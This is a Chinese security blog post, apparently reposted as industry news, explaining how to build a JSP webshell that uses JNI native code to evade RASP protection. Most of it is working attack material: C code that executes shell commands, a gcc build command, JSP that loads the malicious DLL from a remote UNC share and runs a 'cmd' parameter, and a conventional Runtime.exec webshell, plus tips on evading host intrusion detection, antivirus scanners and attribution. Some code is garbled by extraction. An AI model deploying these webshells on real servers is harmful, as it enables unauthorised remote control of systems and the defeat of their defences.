行业新闻

JNI技术绕过rasp防护实现jsp webshell

JNI技术绕过rasp防护实现jsp webshell

背景

笔者近日看到了这样一篇文章:

#endif

/*

JNIEXPORT jstring JNICALLJava_org_apache_jsp_test_1jsp_00024JniClass_exec

(JNIEnv*, jobject, jstring);

#ifdef __cplusplus}

#endif

#endif 调用上一步生成头文件,编写有回显的c语言代码

#include"jni.h"

#include"org_apache_jsp_test_jsp_JniClass.h"

#include

#include

#include

#include

#include int execmd(const char cmd, char result)

{ char buffer[102412]; //定义缓冲区 FILE pipe = _popen(cmd, "r"); //打开管道,并执行命令 if (!pipe) return 0; //返回0表示运行失败 while (!feof(pipe)){ if (fgets(buffer, 128, pipe)) { //将管道输出到result中 strcat(result, buffer); }

} _pclose(pipe); //关闭管道 return 1; //返回1表示运行成功}JNIEXPORT jstring JNICALLJava_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv env, jobjectclass_object, jstring jstr){ const char cstr = (env)->GetStringUTFChars(env, jstr, NULL); char result[1024 12] = ""; //定义存放结果的字符串数组 if (1 == execmd(cstr, result))

{ // printf(result);} char return_messge[100] = ""; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); //system(); return cmdresult;}}

使用gcc将该c源码编译为dll或者lib(注意jdk版本要与目标机器的

jdk保持一致)

gcc -I "c:\Program Files\Java\jdk1.7.0_75\include" -I "c:\Program Files\Java\jdk1.7.0_75\include\win32" --shared JniClass.c -o 1.dll

具体在jsp load时有两种思路,一种是将该jsp文件和该dll放置于服务器的本地路径。jsp的代码里指定dll的绝对路径\相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。

%@ page contentType="text/html;charset=UTF-8" language="java" %> %! class JniClass { public native String exec(String string); public JniClass() { //System.load("/Users/nano/upload/libJniClass.jnilib"); System.load("\\8.8.8.8\classes\1.dll"); } } ; %> % String cmd = request.getParameter("cmd"); JniClass jniClass = new JniClass(); String res = jniClass.exec(cmd); %>

%=res%>```

技术要点

i. 对于linux|mac环境,上一步生成的java内部类叫做JniClass,在类unix平台下,加载的库名需要为lib开头+JniClass+jnilib或者dylib。ii. 核心的system.load|loadLibrary法是以File的形式记载dll|lib文件,该dll|lib路径的以远程的方式加载的绝对路径,所以需要目标机器上测试判断环境是支持//,还是支持\\?简单判断方法是new file(path),然后判断file.exist。如果是前者的linux环境,需要想办法使用//的unc路径,推荐使用samba搭建匿名访问服务放置.jnilib载荷。如果是后者,即目标服务器为windows下的java应用,远程路径需要以\\开头,dll需要放在windows下,在windows平台下445不通的情况下,会访问WebD**(开启webclient)的80端口下载下来dll执行。iii. jni载荷的c、c++实现的代码要具备健壮性,避免目标环境的jvm奔溃。iv. 使用system函数执行命令要小心被hids发现。v. 该webshell只在tomcat容器上测试过。

实战使用

经测试:jdk1.7+tomcat8.5+windows环境

jdk10+tomcat+Mac

rasp安全防护全开。

rasp安全防护全开。

img

img

img

样本index.jsp为传统的基于Runtime.getRuntime执行命令,

%@ page import="java.io.*" %> % try { String cmd = request.getParameter("cmd"); Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println(e); } %>

毫不意外的被rasp记录日志并阻断。img

img

使用jni突破rasp的jsp来执行shell,成功绕过。

成功绕过。

img

使用d盾查杀

img

virustotal:

img

其他

如果您有其他的思路和建议,欢迎同我交流:)

参考资料

https://jayl1n.github.io/2019/06/26/sctf-2019-babyEoP-Writeup/

https://www.jianshu.com/p/1a5fb579ef08

https://blog.csdn.net/qq_39448233/article/details/80882948

https://www.cnblogs.com/LittleHann/p/4326828.html

https://rasp.baidu.com/doc/

关闭